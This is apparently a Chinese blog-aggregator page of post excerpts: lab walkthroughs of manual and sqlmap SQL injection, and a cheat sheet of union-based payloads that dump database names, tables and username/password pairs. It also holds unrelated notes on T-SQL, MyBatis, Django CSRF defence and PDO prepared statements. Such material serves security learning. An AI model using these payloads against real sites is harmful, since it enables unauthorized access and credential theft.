sql注入

SQL注入

雨燕双飞 提交于 2020-01-17 07:05:15
手工SQL注入 在实验开始之前,需要先把网络适配器改成NET模式,VM8的IP地址需要和虚拟机在同一网关。 1、在windows server 2003虚拟机中查询IP地址 2、在IE浏览器中直接输入IP地址( 用IE比较方便更改兼容性设置 ) 3、 4、 5、 6、 (这个实验中我查询到的是到27开始报错,说明只有26列) 7、然后用union联合查询,查看出错的字段 (蓝色框里的数字就表示的是出错的列表,用户名,密码就藏在这里面) 8、 (我把2的位置替换为username,可以看到用户名为admin) 接下来继续把错误的列号替换为password (可以看到得到了一个加密过后的密码,我们可以利用解密工具把密码破解) 9、进入管理员登录界面(IP地址/admin) 10、篡改信息 这就表示成功了! SQLmap高级注入 1、打开kali下的SQLmap软件 2、查看数据库的名称 数据库名称竟然是这个玩意儿,好难受 3、查询这个数据库有哪些表 然后一直敲回车,进入自动查询 可以看到有这些表: 4、查询user表的内容(其实应该查询admin的,但是上一个实验已经查完了,就没意思,所以这里查个用户的意思意思,步骤都是一样的) 可以看到如下信息: 5、查询列中的字段 查询username和password就可以 6、然后解密,在登录即可进行修改,跟前一个实验类似,不在赘述。 zgcd

sql之T-SQL

此生再无相见时 提交于 2020-01-16 16:17:38
下面就T-SQL的几个方面来分别讲解一下。 1、变量 要动态的写sql语句,就不能没有变量。 声明变量并赋值: 1 declare @i as int;--定义一个 int 类型的 变量 (as可以省略) 2 print @i;--这注意:没有赋值之前,程序不会报错,而且输出一个 空 3 set @i=3; 4 print @i; 在sql server 2008之后就可以对变量 在声明的同时进行赋值 1 declare @a int=3; 2 print @a; 在变量的使用过程中,一定要注意nvarcahr 和nchar的区别。 1 declare @s nvarchar(20); 2 set @s='Hello'; 3 set @s=@s+' World!'; 4 print @s;--输出的是 Hello World! 5 6 declare @s2 nchar(20); 7 set @s2='Hello'; 8 set @s2=@s2+' World!'; 9 print @s2;--输出的是 Hello。 为什么使用nchar却是输出的 Hello,因为:nchar是固定长度,即使长度没有达到最大,但是其余长度用 空来代替了,所以 相当于是满的,所以在进行字符串的相加 是不会起作用的。 在查询中赋值: 1 declare @now datetime; 2 select

基于POST的SQL注入(一)

六眼飞鱼酱① 提交于 2020-01-16 13:38:28
在sql-lib中进行 1、打开bp抓包 2、发送至 repeater 中进行注入,在用户名处添加反斜扛测试内部SQL语句 3、分析: 根据报错,当输入用户名为 111\ 时,错误提示在密码为 222' 的错误,初步断定这是因为用户名处的 \ 与其闭合单引号被转译为普通字符,因此无法进行闭合,导致密码的起始单引号被作为用户名的闭合符号,造成密码处的单引号无从闭合。 因此初步断定,SQL语句为: select uname, passwd from table where uname='xxxx' and passwd='xxxx'; 因此当用户名为 111\ 时,此时的查询 uname = ’ 111\' and passwd= ’ ,将后边的查询语句作为用户名也输入了进去。 4、继续在用户名处添加注入信息 成功登陆。 查看源代码: 来源: CSDN 作者: 工科学生死板板 链接: https://blog.csdn.net/qq_43968080/article/details/103981061

SQL注入篇——常用注入语句

浪尽此生 提交于 2020-01-16 08:10:30
sql注入基本语句: order by 4 ­­ ­ 判断有多少列 union select 1 , 2 , 3 ­­ ­ 判断数据显示点 union select 1 , user ( ) , database ( ) ­­ ­显示出登录用户和数据库名 union select 1 , ( select group_concat ( table_name ) from information_schema . tables where table_schema = 'security' ) , 3 查看数据库有哪些表 union select 1 , ( select group_concat ( column_name ) from information_schema . columns where table_schema = 'security' and table_name = 'users' ) , 3 查看对应表有哪些列 union select 1 , ( select group_concat ( concat_ws ( 0x7e , username , password ) ) from users ) , 3 查看账号密码信息 一、利用sql注入上传一句话木马 1.先判断显示位 2.再判断路径 注入语句: http : / / localhost /

MyBatis 笔记

安稳与你 提交于 2020-01-15 14:03:49
官方文档: 英文: https://mybatis.org/mybatis-3/ 中文: https://mybatis.org/mybatis-3/zh/index.html MyBatis概述 什么是MyBatis MyBatis 是支持定制化SQL、存储过程以及高级映射的优秀的持久层框架。 MyBatis 避免了几乎所有的JDBC 代码和手动设置参数以及获取结果集。 MyBatis可以使用简单的XML或注解用于配置和原始映射,将接口和Java的POJO(Plain Old Java Objects,普通的Java对象)映射成数据库中的记录 Mybatis与其他持久化方式对比 MyBatis是一个半自动化的持久化框架 JDBC是SQL夹在Java代码中,耦合度高导致硬编码,维护不易且实际开发中SQL会经常变化 Hibernate和JPA是内部自动产生的SQL语句,不容易做特殊优化,长而复杂的SQL,hibernate处理也不容易,是基于全映射的全自动化框架,大量子弹的pojo进行部分映射比较困难,导致数据库性能下降 对于开发人员,核心SQL需要自己优化,所以需要SQL和java编码分开,功能界面明显,一个专注业务,一个专注数据 文档资料 下载地址:https://github.com/mybatis/mybatis-3 中文文档:http://www.mybatis.org

Mybatis知识点总结

旧时模样 提交于 2020-01-15 05:56:52
1.什么是MyBatis? 答:MyBatis是一个可以自定义SQL、存储过程和高级映射的持久层框架。 2.MyBatis的缓存 答:MyBatis的缓存分为一级缓存和二级缓存,一级缓存放在session里面,默认就有,二级缓存放在它的命名空间里,默认是不打开的,使用二级缓存属性类需要实现Serializable序列化接口(可用来保存对象的状态),可在它的映射文件中配置 3.Mybatis是如何进行分页的?分页插件的原理是什么? 1)Mybatis使用RowBounds对象进行分页,也可以直接编写sql实现分页,也可以使用Mybatis的分页插件。 2)分页插件的原理:实现Mybatis提供的接口,实现自定义插件,在插件的拦截方法内拦截待执行的sql,然后重写sql。 举例:select * from student,拦截sql后重写为:select t.* from (select * from student)t limit 0,10 推荐看起来比较清晰的PageHelper分页原理 3)PageHelper首先将前端传递的参数保存到page这个对象中,接着将page的副本存放入ThreadLoacl中,这样可以保证分页的时候,参数互不影响,接着利用了mybatis提供的拦截器,取得ThreadLocal的值,重新拼装分页SQL,完成分页。 4.Mybatis的插件运行原理

Django学习笔记之安全

落爺英雄遲暮 提交于 2020-01-15 04:26:24
CSRF攻击 CSRF攻击概述 CSRF(Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一。其他安全隐患,比如 SQL 脚本注入,跨站域脚本攻击等在近年来已经逐渐为众人熟知,很多网站也都针对他们进行了防御。然而,对于大多数人来说,CSRF 却依然是一个陌生的概念。即便是大名鼎鼎的 Gmail, 在 2007 年底也存在着 CSRF 漏洞,从而被黑客攻击而使 Gmail 的用户造成巨大的损失。 CSRF攻击原理 网站是通过 cookie 来实现登录功能的。而 cookie 只要存在浏览器中,那么浏览器在访问这个 cookie 的服务器的时候,就会自动的携带 cookie 信息到服务器上去。那么这时候就存在一个漏洞了,如果你访问了一个别有用心或病毒网站,这个网站可以在网页源代码中插入js代码,使用js代码给其他服务器发送请求(比如ICBC的转账请求)。那么因为在发送请求的时候,浏览器会自动的把 cookie 发送给对应的服务器,这时候相应的服务器(比如ICBC网站),就不知道这个请求是伪造的,就被欺骗过去了。从而达到在用户不知情的情况下,给某个服务器发送了一个请求(比如转账)。 防御CSRF攻击 CSRF攻击的要点就是在向服务器发送请求的时候,相应的 cookie

Django - 安全(九)

孤街浪徒 提交于 2020-01-15 03:33:09
安全 1,CSRF攻击 1,CSRF攻击概述 CSRF(Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一。其他安全隐患,比如 SQL 脚本注入,跨站域脚本攻击等在近年来已经逐渐为众人熟知,很多网站也都针对他们进行了防御。然而,对于大多数人来说,CSRF 却依然是一个陌生的概念。即便是大名鼎鼎的 Gmail, 在 2007 年底也存在着 CSRF 漏洞,从而被黑客攻击而使 Gmail 的用户造成巨大的损失。 2,CSRF攻击原理 网站是通过cookie来实现登录功能的。而cookie只要存在浏览器中,那么浏览器在访问这个cookie的服务器的时候,就会自动的携带cookie信息到服务器上去。那么这时候就存在一个漏洞了,如果你访问了一个别有用心或病毒网站,这个网站可以在网页源代码中插入js代码,使用js代码给其他服务器发送请求(比如ICBC的转账请求)。那么因为在发送请求的时候,浏览器会自动的把cookie发送给对应的服务器,这时候相应的服务器(比如ICBC网站),就不知道这个请求是伪造的,就被欺骗过去了。从而达到在用户不知情的情况下,给某个服务器发送了一个请求(比如转账)。 3,防御CSRF攻击 CSRF攻击的要点就是在向服务器发送请求的时候

[SQL SERVER系列]读书笔记之SQL注入漏洞和SQL调优

谁说我不能喝 提交于 2020-01-15 03:17:57
  最近读了 程序员的SQL金典 这本书,觉得里面的SQL注入漏洞和SQL调优总结得不错,下面简单讨论下SQL注入漏洞和SQL调优。 1. SQL 注入漏洞   由于“ '1'='1' ”这个表达式永远返回 true ,而 true 与任何布尔值的 or 运算的结果都是 true ,那么无论正确密码是什么“ Password='1' or '1'='1' ”的计算值永远是 true ,这样恶意攻击者就可以使用任何帐户登录系统了。这样的漏洞就被称作“ SQL 注入漏洞( SQL Injection )”。   对付 SQL 注入漏洞有两种方式:过滤敏感字符和使用参数化 SQL 。   1). 过滤敏感字符   过滤敏感字符的思路非常简单,由于恶意攻击者一般需要在输入框中输入的文本一般含有 or 、 and 、 select 、 delete 之类的字符串片段,所以在拼接 SQL 之前检查用户提交的文本中是否含有这些敏感字符串,如果含有则终止操作。   2).使用参数化 SQL   为运行时才能确定的用户名和密码设置了占位符,然后在运行时再设定占位符的值,在执行时 Java 、 C# 会直接将参数化 SQL 以及对应的参数值传递给 DBMS ,在 DBMS 中会将参数值当成一个普通的值来处理而不是将它们拼接到参数化 SQL 中 ,因此从根本上避免了 SQL 注入漏洞攻击。 2. SQL

PDO预处理prepare

◇◆丶佛笑我妖孽 提交于 2020-01-15 00:02:30
描述: 预处理语句prepare是pdo提供的一种db操作方式。其语言逻辑与正常的pdo访问相同。但区别于在prepare语句允许用户在【设置sql语句】与【执行sql语句】之间部分进行参数的注入与提取操作,而不是像正常的pdo访问一样直接将参数写死。 (1)prepare()方法和execute()方法 (2)bindValue()方法 (3)bindColumn()方法 正常pdo直接访问:设置sql语句→执行sql语句 预处理访问:设置sql语句→预处理sql语句→处理sql语句中参数→执行sql语句 prepare()方法和execute()方法 prepare()方法为预处理sql语句的方法,能够让pdo预先处理【半成品的】sql语句。并生成一个PDOStatementObject类型的结果。 execute()方法是提供给PDOSO类型对象去执行的【成品】sql语句的方法,并生成一个PDOStatementObject类型的结果。 说明: 交由pdo去prepare预处理的【半成品】sql语句,使用?问号作为占位符,表示待传参的参数。 prepare预处理必须只能处理【半成品】sql语句,如果是完整则需要使用exec方法执行并且会将结果存放到PDOSO对象中。 PDOSO对象在预处理的不同阶段有着不同的含义。 语法: $sql = “insert info